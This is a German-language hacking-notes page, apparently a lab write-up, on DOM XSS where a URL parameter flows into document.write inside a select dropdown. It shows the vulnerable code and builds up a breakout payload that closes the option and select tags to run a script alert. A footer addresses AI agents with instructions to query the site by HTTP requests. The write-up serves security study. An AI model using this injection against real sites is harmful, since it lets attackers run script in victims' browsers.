> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-dom-with-document-write-inside-a-select.md).

# DOM-XSS mit document.write innerhalb eines Select-Elements

### DOM-XSS in document.write-Sink unter Verwendung der Quelle location.search innerhalb eines Select-Elements

<figure><img src="/files/805527ba2a921069252a06031cc7c57ab1382c09" alt=""><figcaption></figcaption></figure>

Der folgende Code erzeugt dynamisch ein `<select>` Dropdown-Menü mit verschiedenen Städten und wählt diejenige aus, die in der **storeId** Parameter in der URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Beispiel mit Parameter:

```
product?productId=2&storeId=Jordan
```

* Dies fügt der Dropdown-Liste eine neue Option hinzu.

<figure><img src="/files/a2ca9361e8bc2b271f03cf20f08214e8577fc8a6" alt=""><figcaption></figcaption></figure>

Durch manuelles Schließen des `<option>` Tag:

```javascript
</option>Jordan
```

`<select>` kann auch geschlossen werden:

```javascript
</option></select>Jordan
```

<figure><img src="/files/a948e6c3cfd8f131ba4187314fcfc1eef94fbbfb" alt=""><figcaption></figcaption></figure>

Endgültige Injektion zum Ausführen von JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/07214a47fdaf4856d81708e5d6c4193d04ee5d17" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
